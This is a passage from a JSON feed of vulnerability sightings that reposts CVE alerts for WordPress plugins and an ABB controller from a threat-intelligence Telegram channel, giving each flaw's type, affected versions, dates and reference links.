Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12126\n\ud83d\udd39 Description: The SEO Keywords plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018google_error\u2019 parameter in all versions up to, and including, 1.1.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:21:57.953Z\n\ud83d\udccf Modified: 2025-01-07T16:24:55.459Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/325c2350-174b-4117-bacd-ae28bf3b16bc?source=cve\n2. https://wordpress.org/plugins/seo-keywords/#developers", "creation_timestamp": "2025-01-07T16:40:07.000000Z"}, {"uuid": "a2bbb985-4937-40e0-a625-e4e6ac2ce2c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12157", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/462", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12157\n\ud83d\udd39 Description: The Popup \u2013 MailChimp, GetResponse and ActiveCampaign Intergrations plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter of the 'upc_delete_db_record' AJAX action in all versions up to, and including, 3.2.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-07T04:21:58.312Z\n\ud83d\udccf Modified: 2025-01-07T16:24:42.599Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3e63ce97-40af-493d-9376-231a99d9bd58?source=cve\n2. https://wordpress.org/plugins/ultimate-popup-creator/", "creation_timestamp": "2025-01-07T16:40:30.000000Z"}, {"uuid": "b5e56a9d-f692-4bff-a4c9-ac6052b0fe58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12290", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/471", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12290\n\ud83d\udd39 Description: The Infility Global plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018set_type\u2019 parameter in all versions up to, and including, 2.9.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:00.720Z\n\ud83d\udccf Modified: 2025-01-07T16:23:24.304Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/6127576b-5ce2-4a3e-95de-8a2b3d90d3a0?source=cve\n2. https://wordpress.org/plugins/infility-global/#developers", "creation_timestamp": "2025-01-07T16:42:19.000000Z"}, {"uuid": "3eb7a867-d549-4e95-923c-f03fc5fe45c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12170", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/469", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12170\n\ud83d\udd39 Description: The ViewMedica 9 plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.15. This is due to missing or incorrect nonce validation on the 'Viewmedica-Admin' page. This makes it possible for unauthenticated attackers to inject arbitrary SQL queries via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:00.143Z\n\ud83d\udccf Modified: 2025-01-07T16:23:35.566Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/58209530-9e68-4d2c-a723-e6a164db7f46?source=cve\n2. https://wordpress.org/plugins/viewmedica/", "creation_timestamp": "2025-01-07T16:41:46.000000Z"}, {"uuid": "ed1009ea-90fb-4098-bed1-0d3bb0172de3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12585", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/665", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12585\n\ud83d\udd39 Description: The Property Hive WordPress plugin before 2.1.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-08T06:00:14.363Z\n\ud83d\udccf Modified: 2025-01-08T06:00:14.363Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/afecf367-d298-4f4c-8f47-4e19b3937d3e/", "creation_timestamp": "2025-01-08T06:38:06.000000Z"}, {"uuid": "6d07cb19-c602-4d63-b50e-9c7b7869a129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12429", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/526", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12430\n\ud83d\udd39 Description: An attacker who successfully exploited these vulnerabilities could cause enable command execution. A vulnerability exists in the AC500 V3 version mentioned. After successfully exploiting CVE-2024-12429 (directory traversal), a successfully authenticated attacker can inject arbitrary commands into a specifically crafted file, which then will be executed by root user.\nAll AC500 V3 products (PM5xxx) with firmware version earlier than 3.8.0 are affected by this vulnerability.\n\ud83d\udccf Published: 2025-01-07T16:28:41.952Z\n\ud83d\udccf Modified: 2025-01-07T17:56:26.206Z\n\ud83d\udd17 References:\n1. https://search.abb.com/library/Download.aspx?DocumentID=3ADR011377&LanguageCode=en&DocumentPartId=&Action=Launch", "creation_timestamp": "2025-01-07T18:40:32.000000Z"}, {"uuid": "aa453117-7718-4289-b330-6107c9d5b28e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12430", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/526", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12430\n\ud83d\udd39 Description: An attacker who successfully exploited these vulnerabilities could cause enable command execution. A vulnerability exists in the AC500 V3 version mentioned. After successfully exploiting CVE-2024-12429 (directory traversal), a successfully authenticated attacker can inject arbitrary commands into a specifically crafted file, which then will be executed by root user.\nAll AC500 V3 products (PM5xxx) with firmware version earlier than 3.8.0 are affected by this vulnerability.\n\ud83d\udccf Published: 2025-01-07T16:28:41.952Z\n\ud83d\udccf Modified: 2025-01-07T17:56:26.206Z\n\ud83d\udd17 References:\n1. https://search.abb.com/library/Download.aspx?DocumentID=3ADR011377&LanguageCode=en&DocumentPartId=&Action=Launch", "creation_timestamp": "2025-01-07T18:40:32.000000Z"}, {"uuid": "a65de248-4f96-444d-bcd8-b41f52a15fd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12515", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/934", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12515\n\ud83d\udd39 Description: The Muslim Prayer Time-Salah/Iqamah plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Masjid ID parameter in all versions up to, and including, 1.8.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-09T11:11:02.567Z\n\ud83d\udccf Modified: 2025-01-09T11:11:02.567Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/9e34b3df-ac18-4409-b8fe-b27c931f3aa3?source=cve\n2. https://wordpress.org/plugins/masjidal/", "creation_timestamp": "2025-01-09T12:15:56.000000Z"}, {"uuid": "87b70668-dfd7-4acf-90e6-12d4f1b5bbae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12206", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/946", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12206\n\ud83d\udd39 Description: The WordPress Header Builder Plugin \u2013 Pearl plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3.8. This is due to missing or incorrect nonce validation on the stm_header_builder page. This makes it possible for unauthenticated attackers to delete arbitrary headers via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-09T11:10:57.161Z\n\ud83d\udccf Modified: 2025-01-09T11:10:57.161Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4de0d05f-2f51-4fea-9520-ff07a882d95e?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3218670%40pearl-header-builder&new=3218670%40pearl-header-builder&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-09T12:16:33.000000Z"}, {"uuid": "fd216623-a395-42ee-bce7-9917b1c77538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12496", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/952", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12496\n\ud83d\udd39 Description: The Linear plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'linear_block_buy_commissions' shortcode in all versions up to, and including, 2.7.12 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-09T11:10:54.739Z\n\ud83d\udccf Modified: 2025-01-09T11:10:54.739Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/25d6ee47-2a7b-486e-856b-336964b387ae?source=cve\n2. https://plugins.trac.wordpress.org/browser/linear/trunk/blocks/buy-commissions/buy-commissions.php#L213\n3. https://wordpress.org/plugins/linear", "creation_timestamp": "2025-01-09T12:17:02.000000Z"}, {"uuid": "37e5fff0-b726-4ff9-80d2-edee712b6a92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12249", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/951", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12249\n\ud83d\udd39 Description: The GS Insever Portfolio plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the save_settings() function in all versions up to, and including, 1.4.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin's CSS settings.\n\ud83d\udccf Published: 2025-01-09T11:10:55.369Z\n\ud83d\udccf Modified: 2025-01-09T11:10:55.369Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/36f3e9be-9a4e-458d-92b3-687afc44696a?source=cve\n2. https://plugins.trac.wordpress.org/browser/gs-instagram-portfolio/tags/1.4.5/admin/includes/Ajax.php\n3. https://plugins.trac.wordpress.org/browser/gs-instagram-portfolio/tags/1.4.5/admin/Backend_Builder.php", "creation_timestamp": "2025-01-09T12:16:56.000000Z"}, {"uuid": "8ccfb062-fc2c-4e1b-aea6-5f847e60ff98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12112", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/621", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12112\n\ud83d\udd39 Description: The Easy Form Builder \u2013 WordPress plugin form builder: contact form, survey form, payment form, and custom form builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter of the 'add_form_Emsfb' AJAX action in all versions up to, and including, 3.8.8 due to insufficient input sanitization and output escaping and missing authorization checks. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-08T03:18:11.056Z\n\ud83d\udccf Modified: 2025-01-08T03:18:11.056Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/a71e72dd-574c-41fc-a000-7a4cf658f3d7?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3215764/easy-form-builder/trunk/includes/admin/class-Emsfb-create.php", "creation_timestamp": "2025-01-08T03:39:11.000000Z"}, {"uuid": "d293921f-d6b7-4d48-b26f-71f56abf00c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12521", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/624", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12521\n\ud83d\udd39 Description: The Slotti Ajanvaraus plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'slotti-embed-ga' shortcode in all versions up to, and including, 1.3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-08T03:18:09.528Z\n\ud83d\udccf Modified: 2025-01-08T03:18:09.528Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/1d95ec4b-0cbc-49c6-821e-7050d8045159?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3218204%40slotti-ajanvaraus&new=3218204%40slotti-ajanvaraus&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-08T03:39:31.000000Z"}, {"uuid": "374a2f11-f9d6-4e4c-a784-284fd4a365d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12713", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/623", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12713\n\ud83d\udd39 Description: The SureForms \u2013 Drag and Drop Form Builder for WordPress plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.2.2 via the handle_export_form() function due to a missing capability check. This makes it possible for unauthenticated attackers to export data from password protected, private, or draft posts that they should not have access to.\n\ud83d\udccf Published: 2025-01-08T03:18:10.248Z\n\ud83d\udccf Modified: 2025-01-08T03:18:10.248Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/412d5fa7-08fc-402a-bcac-b2dff87de861?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3215338/sureforms/tags/1.2.3/inc/export.php", "creation_timestamp": "2025-01-08T03:39:25.000000Z"}, {"uuid": "ffe10344-5f28-4b89-a562-9c22fc40b0a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12205", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/641", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12205\n\ud83d\udd39 Description: The Themesflat Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the TF E Slider Widget in all versions up to, and including, 2.2.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-08T04:17:58.274Z\n\ud83d\udccf Modified: 2025-01-08T04:17:58.274Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/45c6c041-91b0-4abe-ba72-ec1251651fdb?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3215859%40themesflat-addons-for-elementor&new=3215859%40themesflat-addons-for-elementor&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-08T04:38:42.000000Z"}, {"uuid": "feb38743-27cf-4381-bc7b-464e73d851ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12030", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/639", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12030\n\ud83d\udd39 Description: The MDTF \u2013 Meta Data and Taxonomies Filter plugin for WordPress is vulnerable to SQL Injection via the 'key' attribute of the 'mdf_value' shortcode in all versions up to, and including, 1.3.3.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-08T04:17:59.363Z\n\ud83d\udccf Modified: 2025-01-08T04:17:59.363Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/d2ead824-2722-4b09-8387-e064dee371c1?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-meta-data-filter-and-taxonomy-filter/trunk/classes/shortcodes.php?rev=3204774#L874\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3210333%40wp-meta-data-filter-and-taxonomy-filter&new=3210333%40wp-meta-data-filter-and-taxonomy-filter&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-08T04:38:17.000000Z"}, {"uuid": "381306b4-f763-4909-9c3c-7f6cab9b8b13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12851", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/674", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12851\n\ud83d\udd39 Description: The Element Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid, Carousel and Remote Arrows) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the custom_attributes parameter of the Cookie Consent Widget in all versions up to, and including, 5.10.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-08T06:41:37.636Z\n\ud83d\udccf Modified: 2025-01-08T06:41:37.636Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/39b0af74-f773-4a56-b169-2ee11e923813?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3212890%40bdthemes-element-pack-lite&new=3212890%40bdthemes-element-pack-lite&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-08T07:39:14.000000Z"}, {"uuid": "74e10eb3-a876-43a3-86d3-e37e1567c640", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12852", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/673", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12852\n\ud83d\udd39 Description: The Happy Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ha_cmc_text' parameter of the Happy Mouse Cursor in all versions up to, and including, 3.15.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-08T06:41:38.203Z\n\ud83d\udccf Modified: 2025-01-08T06:41:38.203Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e60d4528-2ec5-4a4b-be77-0fc012c13720?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3212495/happy-elementor-addons/tags/3.15.2/assets/js/custom-mouse-cursor.js", "creation_timestamp": "2025-01-08T07:39:08.000000Z"}, {"uuid": "e633ce08-b2f3-4188-b932-22989a44be3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12584", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/672", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12584\n\ud83d\udd39 Description: The 140+ Widgets | Xpro Addons For Elementor \u2013 FREE plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.4.6.2 via the 'duplicate' function. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract potentially sensitive data from draft, scheduled (future), private, and password protected posts.\n\ud83d\udccf Published: 2025-01-08T06:41:38.596Z\n\ud83d\udccf Modified: 2025-01-08T06:41:38.596Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/fa085bc0-af0b-4797-a10f-4d41b4988c02?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3212531/xpro-elementor-addons", "creation_timestamp": "2025-01-08T07:39:02.000000Z"}, {"uuid": "a82a0920-0b4d-48dd-a86f-f6c42ea6b98d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12855", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/681", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12855\n\ud83d\udd39 Description: The AdForest theme for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several AJAX actions like 'sb_remove_ad' in all versions up to, and including, 5.1.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete posts, attachments and deactivate a license.\n\ud83d\udccf Published: 2025-01-08T08:18:17.853Z\n\ud83d\udccf Modified: 2025-01-08T08:18:17.853Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/db7f5553-758b-47ab-8319-a549b73f4cfa?source=cve\n2. https://themeforest.net/item/adforest-classified-wordpress-theme/19481695", "creation_timestamp": "2025-01-08T09:12:38.000000Z"}, {"uuid": "c3142b10-29dc-404b-8491-80a519ba8ec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12337", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/691", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12337\n\ud83d\udd39 Description: The Shipping via Planzer for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018processed-ids\u2019 parameter in all versions up to, and including, 1.0.25 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-08T11:09:25.845Z\n\ud83d\udccf Modified: 2025-01-08T11:09:25.845Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e80ed130-8ad2-4fb0-a583-02fc675804d6?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3214785/wc-planzer-shipping", "creation_timestamp": "2025-01-08T12:12:40.000000Z"}, {"uuid": "2682ba45-6530-4627-b0e0-e1424f83fb78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12045", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/668", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12045\n\ud83d\udd39 Description: The Essential Blocks \u2013 Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the maker title value of the Google Maps block  in all versions up to, and including, 5.0.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.\n\ud83d\udccf Published: 2025-01-08T07:18:38.149Z\n\ud83d\udccf Modified: 2025-01-08T07:18:38.149Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b07f3ade-5f10-4621-99a2-18eeab993403?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3210374/essential-blocks/tags/5.1.1/src/blocks/google-map/src/marker.js", "creation_timestamp": "2025-01-08T07:38:33.000000Z"}, {"uuid": "15ef780d-cbc8-4126-855c-76395da1349f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12854", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/688", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12854\n\ud83d\udd39 Description: The Garden Gnome Package plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the functionality that automatically extracts 'ggpkg' files that have been uploaded in all versions up to, and including, 2.3.0. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.\n\ud83d\udccf Published: 2025-01-08T09:18:36.303Z\n\ud83d\udccf Modified: 2025-01-08T09:18:36.303Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/6bcfc8f1-e962-4ad7-8a9d-89ce5c9022b6?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3215986%40garden-gnome-package&new=3215986%40garden-gnome-package&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-08T10:12:11.000000Z"}, {"uuid": "92a6416c-9655-49e2-b6f5-81bca458305e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12853", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/687", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12853\n\ud83d\udd39 Description: The Modula Image Gallery plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the zip upload functionality in all versions up to, and including, 2.11.10. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.\n\ud83d\udccf Published: 2025-01-08T09:18:36.690Z\n\ud83d\udccf Modified: 2025-01-08T09:18:36.690Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ef86b1f2-d5aa-4e83-a792-5fa35734b3d3?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3218127%40modula-best-grid-gallery&new=3218127%40modula-best-grid-gallery&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-08T10:12:02.000000Z"}, {"uuid": "8d73e465-0979-4431-a555-79998a149eb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12328", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/685", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12328\n\ud83d\udd39 Description: The MAS Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file.\n\ud83d\udccf Published: 2025-01-08T08:18:16.153Z\n\ud83d\udccf Modified: 